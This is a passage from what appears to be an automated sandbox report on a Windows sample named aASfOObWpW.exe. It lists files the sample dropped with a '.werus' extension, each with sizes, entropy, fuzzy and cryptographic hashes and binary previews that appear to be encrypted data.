SHA1:	2C2AFC1B1E30A0169E9475E7F334F7FC3A325E8C
SHA-256:	9A34BAF95800F762D7181A305C32EC01BE6A65938C8647D2885F8FBB355BE8EF
SHA-512:	40D15F72A6ED9A70687130554F19B16D3CDC361EB3CEEFD8E854069FF445EF8906E4A9C79AAD5765D5FF5D3914BB711FAF91AAC9406EB0400DB9D9AA18147BD0
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.x2..BT...Y..8.....gI.1C^i...k3QS..o5nmO..K.....=....R.k.Un..0N.,..T.N.;...}.g0.f.)wp.g...V...YwL...\|.....`).....'4mE.N.y......E_+>D.....zQ.3..4.X.....6....s.......A....MptWT6..C.!..`dKG..`o.D.Q.E`.I..z).0\..S6..U.M..(Q....Sf.y.K.rr~....2...&"._.....v.........t.C..+.....;./.j.7.......4....L>.y..g.E.....J(#..3.?...v...l($=x.Dw~..N..9dE..J.W/F...C......qBU-98/.......q.3...T.k....;p..'.fm...8.......B..._`....ku\|BTv.....\|.R\.,i.. .1v..V.5..^#t$]hy\..B.)..\.../jt...l..e.......8.....N...O.. 5....l...!<f....lCE.kJ.+%IF.ld......T3......S.k7.....~2m.Q.T..6..ae..?'..{g:.h...@..E...V....?8.9..z..%.F.g.z9V?.=...7./...z.jeh...p..%..2A/....l.D..0.F........Nm.9.[..,.zO..!.z...}...(..G8..*...u.zt~>E.......w...S%o1.x....Y.&...Nj.,r.Rg.."W6l5...Q.G.. A&.;bq>...[..a...uW.KT.zK@.&...../....yv.a.\/..Z..I{..Q.$L...)...M.....!...Wi...N..k...<.4..g.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.916563231313241
Encrypted:	false
SSDEEP:	48:FYFJ7atlKwYRA+PNTynivonmeUnNm60qiIqzCJYEMXaXKtt:FGJutJe4niQmRB0MqCYnXaXk
MD5:	0133C712909B5B4018B83166EFC8A935
SHA1:	E68173520B6C2F13ED0ACED74AE9A8BDC9541EA0
SHA-256:	00A04944895E1C243735B005A5BA9403E9620151B048EB41F315E26DCB862A99
SHA-512:	32D186ECB9918B7908672E06C1ADBCADEB3D5AB2876D0A66FF0391755313B4F858608CC479C95642642C25D1E465F8B474986AB5DEEEA3693A4ABEF365AE7F56
Malicious:	false
Preview:	F.{.y..?...<....o$....i~u0..)..M<.a_@....&U..l...m.Q..r)=l.`....1...U........+..c..F\|...pU.)x.yM...r.+.az.xN.r.wQ..T.`%.".!/....A.j$,~..>s4......S....e7....:.....v.......F,2...p...U.....]6k:..}. `...s.NE.n..$a...jN.F..\|_..X..y.dC.......#2...!.....T..f}..3..r..........k.@.~..........T..#.z.k...... .J.!...h.JT%.}.".4..T7v...f..........$.Wyn....#......4j.. ..WC....d.qng.BfuW....Z,Z......\......LZA..t..7..)..6......<H..5.L..<."%....L.P.....}g..../...l.]Y_.XM.S.$...e,[e[..2...).....L0.zE<O.E.o0.#...B.D.0.....R...../.c..m.$.;..r.M.....g.A..L........s.7,..U...L[.....NH.]..v...7,.G...~...t.....<..s.].q....^]h.1.....o.D.A1.3..f+.j.q....\.?#.... .-.{L...38...>=.J."vn.E.:.vJ.D.p..A......zKi..Z1..VI...yb....Q..F....v..obstuaK..(....3.....e.m\..+k+Rx.Xt..\|...-...c....u.+...6=.T3_.Va.!..I.......\|.~....l....yRx..5..z(#....j...p......q...._.U5.F..L....]..q.\|....1.O..ga...aF.I..H.{1.6P..X.....z...0.".../..Jr..r0....0...?Z$...v..5.......^OB\.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	464
Entropy (8bit):	7.4987429984251195
Encrypted:	false
SSDEEP:	12:5eMhRXZIAkZkyOSIt4Dg2WrhH8XnKMmmRjBBCeQRCm:5zhRY9s+nnjefRz
MD5:	BBBD9CCF748F124DA44B1E686F627A3B
SHA1:	1C5C26E16D3916A2939B4F565700809500B0EAFA
SHA-256:	BDAB389B2A19551FE4ED7205D3CC312815241A424200224D504E93278591EC48
SHA-512:	EB2AB008F7CE32489195FB36C5EE435EFAB62E46F5E12B3D187B4F421AF3295A30060FB451F8F8302C36BCAEB48AE666FCCAE84B207854F8B378B1F10DA7D3F3
Malicious:	false
Preview:	....w..nu.V..M.V....Ws...w4.....Hs.Le.;.Y..>!.[...O{.g..x.B.....0.[.~<...."+'.DA.#.vtV.....H..e..,R....n_.......n..;3.9...1....S.1.....16...B...w..v.ee...\C......oI........S!..-...4..Bh..@...vs\..Y..!..or........,g..\.}+..._Q...H...*4...U.Z6...yW..xb...xQ:X...].vr.e....M.h..c.fK..`..+...\|....{t!n.,.h..%$}z=..0...f..O."........9-P.$.z...W{r.......`..^n.t/..fC!"X....V48~.".a..JK....)N.dH.6.h....1..M...2G"..j5.Y03..j.T.U....3...8.2V...t...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.902587041668551
Encrypted:	false
SSDEEP:	48:2hZwAePoqMKdM3sVUiVX5+jXwCaSpFUyF:GZwhoqPMwUPKyF
MD5:	A8E354D2ABF8101227D0DF997D52E0DE
SHA1:	3F1AFDE605332F2027CF271E4D43D7BD18736480
SHA-256:	9F6BAAC6835750CC2C97CBA4E2F74904295635C21F2E3F30147BFA46A864E35A
SHA-512:	52C5F77C0FD4562D634677DA9C185E98234DF2DD3AD664C4FD5F710226DFCA77A5831843853717CB4065DBD866DF70B255477B22318CB9EFD5CEE4C27AA08DD9
Malicious:	false
Preview:	\|..S............!c.58.:.F..>).x.@..;..+.W.h..L.OX....1. .']...t...KK....C...;.w...!n..]..&q.....8b@.k.a^.)..Q..L...[......... .3p.....r..M...a.^.......9_......RP....I..)P.vsH.....]u..Nvd.T.a.A......H.."..,..j.z.lI..8uh.!P..=.-%...>...x..~.`.@...\|.os.......<..r..+./x...0..8..i.p.Hum...._..A..O...'m.lz..+.Q.....;.\.....r..M0.k...bl..c\|RK.k..^9.a...N..-........bM(L..%c/...d.x.(g.t.-...SW.....V...R...\|......3.`6.oN.$.:!.JH......g...t.{.W.U.q..K.=..]n.?.....q.Lb.Q../.R.F.. .H?A.p[.C...<A..K....i.3Z\..o.......k.<h.6..=....L.oz..NL...u}.\3C.=g.6G......."sE.F.KB...$.#......9y5.o&."..Z.. !x.q..#...5.T.)a...<.x..(....{.;.nwN>..K..a{9...W..#.H. .=l...5n.U.ZV...........zW>......{..Y..:K..R:M=.t.Jw..-6.zL.f.....m.....@..P.xa..&......6..e..4..~.9........{.M.V..rRwR.........X....</.......DV3E5......\|...`o....v...[.(...QW..<"B..l....6...~...c.e.G%.J...-z<8.b...n..v.O.)4.S.BR.+....`31..e.P....W.X...u.7.V....."`.=.... ..EX..%.:.6...Hk..7.s:C.':A.Z.v@.5n.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	5648
Entropy (8bit):	7.969759549541644
Encrypted:	false
SSDEEP:	96:G1Drgx46WnwUEZpwF2j5IDMTCSyMMeAWNSY6QLyrVE1YI43txjlXsbzDAsWxXa1:GhrgxawUEZpwFSWEclWv43b9sPDAsWxy
MD5:	41A1C263A871A15D26C7232CBF4F9024
SHA1:	AB29DAEC1ED44E3D7F27DDDE6A9FFDA2BEB385A0
SHA-256:	C3782A66B8CC3C7585748368C14455EE8D3D25001F42415890E899812793E2BC
SHA-512:	14E897FE239B8D5767503CD43C6B6E7C1C2003FDAA1BE77257F5CA2E4ECF8CD76B242BE992B5A10EF392663E281E06FC8C3A953B4CB6F5803661DE540174F86C
Malicious:	false
Preview:	\|..S............!c.58.:.F..>).x.@..;..+.W.h..L.^=......0.,W.....'=.h..\.}...)....L..9-.w.9.W...D.......5.FkV9.\|.a=c\-..PW.7.....7,$.D.w..~7.....v&...U70.#...;]-..J.=....5LB...l..`4..E.ww....Po;.3&...i......;<...=..[..Q.'.Cy$>.._.XFh..1...c....p......W.....0M.z.&.".J\|&..?-...@.....B.5/..$$.h....@;Cp...5.hs.Ee.]z.T.I}...I0.Li........<H.r..E.........nQt....\|g.3.Q.....b.[4o.$......D.._..a1...A1.....I..n.......$.Z.....w;.M.3.5.....U..:........@'.v...Pqb~....L.W]T.....RW.r...4.`.x..J!c...t.`..{...P...^...#$....P.N...>.U.M..Tm9......>...._.. ..iy.....l<M..1.2..`u....#.f.a/.bO...Ft........FX..@+K...>...7.G..j`(...e.6..=J...{e2.+=.p.=;....U\|t.c.@a.....w........EO..H.......1f.........vv. .O..4... .3.._%..v....4.8....1.< e,..3P.....T%A:~$.'D.....W....3...5[....1..\...#!....@.y^@.....L[].7.e.../.........s>....5j......,jh.l.J..e-:}F.D.1..15ZP.hq...}..W....>S.x...~...V.^x8=.}B. ...).....2........2...\|.L3(...a>.{...d..L....i.c.....6.du.f..AlH.wX

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CZQKSDDMWR.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
